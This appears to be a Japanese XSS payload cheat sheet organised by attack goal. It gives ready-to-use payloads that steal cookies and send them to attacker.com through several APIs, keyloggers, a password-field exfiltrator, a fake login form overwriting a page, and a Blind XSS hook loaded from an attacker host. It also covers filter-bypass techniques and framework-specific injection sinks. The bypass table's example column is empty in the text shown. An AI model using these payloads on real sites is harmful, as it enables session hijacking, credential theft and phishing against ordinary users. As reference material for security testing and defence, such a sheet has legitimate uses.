1. 基本的なスクリプト注入 (動作確認) 🎯
最も基本的なXSSペイロード。脆弱性の存在を確認するために使用されます。
-
alert()
によるポップアップ表示<script>alert('XSS');</script> <script>alert(1);</script> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
最も古典的で一般的な方法。特定の文字列や数値(例: 1)を表示させます。
-
console.log()
によるコンソール出力<script>console.log('XSS');</script> <IMG SRC="javascript:console.log('XSS');">
ブラウザの開発者コンソールにログを出力します。ポップアップがブロックされる環境で有効です。
-
document.write()
によるページ書き換え<script>document.write('XSS');</script> <IMG SRC="javascript:document.write('XSS');">
ページのコンテンツを書き換えます。単純な文字列挿入で動作確認ができます。
2. Cookieの窃取 🍪
ユーザーのCookie情報を攻撃者のサーバーに送信させます。セッションハイジャックの足がかりとなります。
-
基本的なCookie送信
<script>document.location='http://attacker.com/log?cookie=' + document.cookie;</script> <script>new Image().src="http://attacker.com/log?cookie=" + document.cookie;</script> <script>fetch('http://attacker.com/log?cookie=' + document.cookie);</script>
document.cookie
で取得したCookieを、攻撃者のサーバーURLのパラメータとして付与し、リクエストを送信します。[14, 16, 19] -
XMLHttpRequest
を利用した送信var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/log?cookie=' + document.cookie); xhr.send();
非同期通信を利用してCookieを送信します。画面遷移なしで実行可能です。
-
navigator.sendBeacon()
を利用した送信navigator.sendBeacon('http://attacker.com/log', document.cookie);
ページがアンロードされる際にも確実にデータを送信できるAPIを利用します。
-
HttpOnly
属性が付与されていないCookieが対象です。[19, 24]
3. セッションハイジャック 👤
窃取したCookie(特にセッションID)を利用して、被害者になりすましてログインします。
- Cookie窃取ペイロードを実行させ、攻撃者のサーバーでセッションIDを含むCookieを受け取る。[13, 14, 29]
- 攻撃者は受け取ったセッションIDを自身のブラウザのCookieに設定する(開発者ツールや拡張機能を使用)。
- セッションIDが有効なウェブサイトにアクセスすると、被害者としてログインされた状態になる。[13, 14]
セッションIDがCookie以外の場所(LocalStorage, SessionStorageなど)に保存されている場合は、それを窃取するペイロードに変更する必要があります。
4. キー入力情報の窃取 (キーロガー) ⌨️
ユーザーがキーボードで入力した情報を記録し、攻撃者のサーバーに送信します。
-
addEventListener
を利用した基本的なキーロガーvar keys = ''; document.addEventListener('keypress', function(e) { keys += e.key; // 定期的に、または特定のタイミングで攻撃者のサーバーに送信 // 例: fetch('http://attacker.com/log?keys=' + keys); });
keypress
イベントを監視し、入力されたキーを記録します。パスワード入力欄などで悪用される可能性があります。[3, 41, 42] -
イベントハンドラ属性を利用したキーロガー
<img src="invalid-image" onerror='window.onkeypress = (e) => { fetch("http://attacker.com/log?key=" + e.key); };'>
onerrorなどのイベントハンドラ内にキーロガーのロジックを埋め込みます。
-
パスワードフィールドに特化した例
<input type=password name=password onchange=”if(this.value.length)fetch('http://attacker.com/log',{ method:'POST', body:this.value });”>
パスワードフィールドの値が変更されたときに、その内容を送信します。
5. フィッシング・コンテンツ偽装 🎣
信頼されたサイト上で偽のログインフォームや情報を表示し、ユーザーを騙して認証情報などを入力させます。
-
偽のログインフォームの表示
<script> document.body.innerHTML = '<h2>セッションが切れました。再ログインしてください。</h2><form action="http://attacker.com/fake_login" method="post">ID: <input type="text" name="username"><br>Pass: <input type="password" name="password"><br><input type="submit" value="ログイン"></form>'; </script>
JavaScriptを使ってページのコンテンツを完全に書き換え、偽のログインフォームを表示します。
action
属性で攻撃者のサーバーに入力内容を送信させます。[8, 13, 15, 22] -
既存ページの一部改ざん
document.getElementById('targetElement').innerHTML = '新しいパスワードを設定してください: <input type="password" name="new_password">'; // または、重要な情報を表示する部分を偽の情報に書き換える
特定の要素の内容を書き換えて、ユーザーに誤った情報を信じ込ませたり、不正な操作を誘導したりします。
-
iframe を利用したフィッシング
<iframe src="http://attacker-phishing-site.com" width="100%" height="500"></iframe>
信頼されたサイト内にiframeで攻撃者のフィッシングサイトを埋め込みます。
6. DOM Manipulation (DOMベースXSS) 🌳
サーバーサイドを経由せず、クライアントサイドのJavaScriptがDOMを操作する過程で発生するXSS。[1, 2, 3, 10, 11, 13, 15, 25, 30, 34, 36]
DOMベースXSSは、JavaScriptがユーザー入力(URLのフラグメント `#` 以降など)を解釈し、それを `innerHTML`、`document.write`、`eval` などの危険なSink(出力関数/プロパティ)に渡すことで発生します。
-
location.hash
を利用した例例:
http://example.com/page#<img src=x onerror=alert(1)>
// 脆弱なコード例 var hash = location.hash.substring(1); document.getElementById('content').innerHTML = decodeURIComponent(hash);
URLのハッシュ部分 (`#`以降) を取得し、デコードして `innerHTML` に設定するコード。ハッシュ部分にHTML/JavaScriptを埋め込むことで攻撃が可能です。
-
document.URL
,document.referrer
,window.name
などを利用した例 [15, 30]// 脆弱なコード例 var referrer = document.referrer; document.getElementById('refInfo').innerHTML = "Referrer: " + referrer; // referrer に悪意のあるコードが含まれている場合、XSSが発生
`document.referrer` や `window.name` など、攻撃者が制御可能な値がサニタイズされずにDOMに書き込まれる場合に発生します。
-
Sink (危険な関数/プロパティ) の例:
element.innerHTML = ...
element.outerHTML = ...
document.write(...)
document.writeln(...)
eval(...)
setTimeout(...)
/setInterval(...)
(第一引数が文字列の場合)new Function(...)
element.setAttribute('oneventhandler', ...)
location.href = 'javascript:...'
- など
7. フィルター回避・バイパス手法 👻
WAFや入力フィルタリングによる検知・防御を回避するためのテクニック。
手法 | 説明 | 例 |
---|---|---|
タグの難読化 | タグ名の大文字小文字混合、不要な空白、スラッシュ追加などで検知を回避する。 |
|
イベントハンドラの利用 | <script> タグがブロックされる場合に、onerror , onload , onmouseover などのイベントハンドラを利用する。 |
|
エンコーディング | URLエンコード、HTMLエンティティエンコード(10進、16進)、JavaScriptエンコード(Unicodeエスケープなど)を組み合わせてフィルターをバイパスする。[11, 36] |
|
javascript: スキーム |
href や src 属性で javascript: スキームを利用する。 |
スキームチェックがない場合に有効。 |
Nullバイト挿入 | %00 などのNullバイトを挿入してフィルターを混乱させる(古いシステムで有効な場合がある)。 |
|
コメント挿入 | HTMLコメント (<!-- --> ) や JavaScriptコメント (// , /* */ ) をペイロード内に挿入してシグネチャベースの検出を回避する。 |
U+2028/U+2029 (改行文字)を利用したバイパスも存在する。 |
文字列連結・分割 | JavaScriptコードを分割し、実行時に連結することで検知を回避する。 |
|
特殊なタグ・属性 | <svg> , <details> , <isindex> (古いブラウザ), <marquee> などのあまり一般的でないタグや、style 属性内のexpression() (古いIE) や background-image など。[6, 26] |
|
テンプレートリテラル (バッククォート) | JavaScriptの文字列をバッククォート(`)で囲む。フィルターがこれを認識しない場合がある。 |
|
プロトコル削除・変更 | URLのプロトコル部分(`http:`, `https:`)を省略したり、大文字小文字を混ぜたり、タブ文字などを挿入したりする。 |
|
8. フレームワーク・ライブラリ特有のベクトル 🧩
特定のJavaScriptフレームワークやライブラリの利用方法に起因するXSS。
-
React:
dangerouslySetInnerHTML
// 脆弱なコード const userInput = '<img src=x onerror=alert(1)>'; return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
意図的にHTMLをエスケープせずに埋め込む機能。ユーザー入力を直接渡すとXSSが発生する。
-
React:
javascript:
スキーム inhref
// 脆弱なコード const userLink = 'javascript:alert(1)'; return <a href={userLink}>Click Me</a>;
Reactは通常属性値をエスケープするが、
href
へのjavascript:
スキームはそのまま渡されることがある。 -
Angular:
bypassSecurityTrustHtml
// 脆弱なコード in Component import { DomSanitizer } from '@angular/platform-browser'; constructor(private sanitizer: DomSanitizer) {} getTrustedHtml(userInput: string) { return this.sanitizer.bypassSecurityTrustHtml(userInput); } // Template <div [innerHTML]="getTrustedHtml('<img src=x onerror=alert(1)>')"></div>
Angularのサニタイズ機構を意図的にバイパスする関数。ユーザー入力を渡すとXSSが発生する。
-
Vue.js:
v-html
<!-- 脆弱なコード --> <div v-html="userInput"></div> <!-- script --> <script> export default { data() { return { userInput: '<img src=x onerror=alert(1)>' } } } </script>
HTMLをそのままレンダリングするディレクティブ。ユーザー入力を直接バインドするとXSSが発生する。
-
Laravel (デバッグモード): エラーページでの未エンコード表示
特定のバージョンにおいて、デバッグモード(APP_DEBUG=true)有効時にエラーページでリクエストパラメータが適切にエンコードされず、Reflected XSSが発生する可能性があった。
-
Beego (Goフレームワーク): フォーム表示関数
特定のバージョンにおいて、フォーム表示関連の関数にXSS脆弱性が存在した。
-
注意:
フレームワークはデフォルトで多くのXSS対策を提供しているが、開発者が明示的に安全でない機能を使用したり、設定を誤ったりすると脆弱性が生じる可能性がある。[12, 23, 24]
9. 高度・特殊な手法 👽
より複雑な条件や、特定のブラウザ挙動を利用する手法。
-
Mutation XSS (mXSS)
ブラウザがHTMLをパース・修正する過程で、サニタイズ後には安全だったはずのコードが、DOMツリーに追加される際に意図せず危険な形に変異(mutate)して実行されてしまうXSS。[4, 5, 6, 7, 9]
例: サニタイザが一度処理した安全なコードが、
innerHTML
などでDOMに追加される際にブラウザのHTMLパーサーの挙動によって危険なコードに変化する。<!-- サニタイズ後のコード(例) --> <svg><style><!-- --></style><img src="x"></svg> <!-- innerHTMLなどでDOMに追加されると... --> <!-- ブラウザによってはstyle要素の解釈が変わり、後続のimgタグがonerrorなどをトリガーする可能性がある --> <svg><style></style><img src="x" onerror=alert(1)></svg> <!-- 変異後のイメージ -->
ブラウザのパーサーの癖や、HTML/SVG/MathMLなどの名前空間の扱いの違いを利用することがある。 DOMPurifyなどのサニタイザはこのmXSSへの対策を試みている。
-
Blind XSS
攻撃者がペイロードを注入した時点では結果が見えず、後から別のユーザー(多くは管理者など)がそのデータを含むページ(ログ管理画面など)を閲覧した際に初めてペイロードが実行されるXSS。Stored XSSの一種。[11, 31]
例: フィードバックフォームに
<script src="http://attacker.com/hook.js"></script>
を入力。管理者が管理画面でフィードバック一覧を確認した際にスクリプトが実行され、管理者のCookieが盗まれるなどする。[11, 31]攻撃者には直接実行結果が見えないため、外部のサーバーに情報を送信させるペイロード (例: BeEFフックなど) がよく用いられる。[17, 31]
-
Self-XSS
ユーザー自身が開発者ツールなどを利用して、自分のブラウザ上でのみ実行可能な悪意のあるコードを入力してしまう場合に発生する。通常、直接的な脅威は低いが、ソーシャルエンジニアリングと組み合わせて悪用されることがある。
例: 「コンソールにこのコードを貼り付けると隠し機能が使えます」のように騙して実行させる。
-
Universal XSS (UXSS)
ブラウザ自体の脆弱性を利用し、同一オリジンポリシーを回避して任意のオリジンでスクリプトを実行する攻撃。Webアプリケーションの脆弱性ではなく、ブラウザの脆弱性に起因する。
10. その他の攻撃への利用 🔗
XSSを起点として他の攻撃に繋げる手法。
- CSRF (Cross-Site Request Forgery) への利用: XSSペイロードを使用して、ユーザーのブラウザから意図しないリクエスト(パスワード変更、商品購入など)を強制的に送信させる。[14, 31]
- マルウェアの配布: ユーザーを不正なサイトにリダイレクトさせたり、ドライブバイダウンロード攻撃の起点としたりする。
- ブラウザ中間者攻撃 (MitB): 悪意のあるスクリプトを注入し、ユーザーとウェブサイト間の通信内容を盗聴・改ざんする。
- ポートスキャン・内部ネットワーク探索: 被害者のブラウザをプロキシとして、内部ネットワークの他のホストやポートに対してリクエストを送信させる。
- 仮想通貨マイニング (クリプトジャッキング): 被害者のブラウザのリソースを使用して、バックグラウンドで仮想通貨のマイニングを実行させる。
- DoS (Denial of Service): 大量のリクエストを生成させたり、ブラウザをクラッシュさせたりするスクリプトを実行する。
コメント